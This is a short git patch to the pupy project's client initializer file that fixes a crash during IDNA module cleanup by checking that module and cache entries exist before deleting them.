From fba47eee4f2bac9fee8074bac9932da9b2c7360b Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Sun, 23 Sep 2018 23:04:17 +0300 Subject: [PATCH] Fix crash during idna cleanup --- pupy/pupylib/PupyClientInitializer.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/pupy/pupylib/PupyClientInitializer.py b/pupy/pupylib/PupyClientInitializer.py index 431173fd..0e7c8a67 100644 --- a/pupy/pupylib/PupyClientInitializer.py +++ b/pupy/pupylib/PupyClientInitializer.py @@ -41,7 +41,9 @@ if not hasattr(os, 'stdout_write'): # Remove IDNA module if it was not properly loaded if hasattr(encodings, 'idna') and not hasattr(encodings.idna, 'getregentry'): - del sys.modules['encodings.idna'] + if 'encodings.idna' in sys.modules: + del sys.modules['encodings.idna'] + if 'idna' in encodings._cache: del encodings._cache['idna']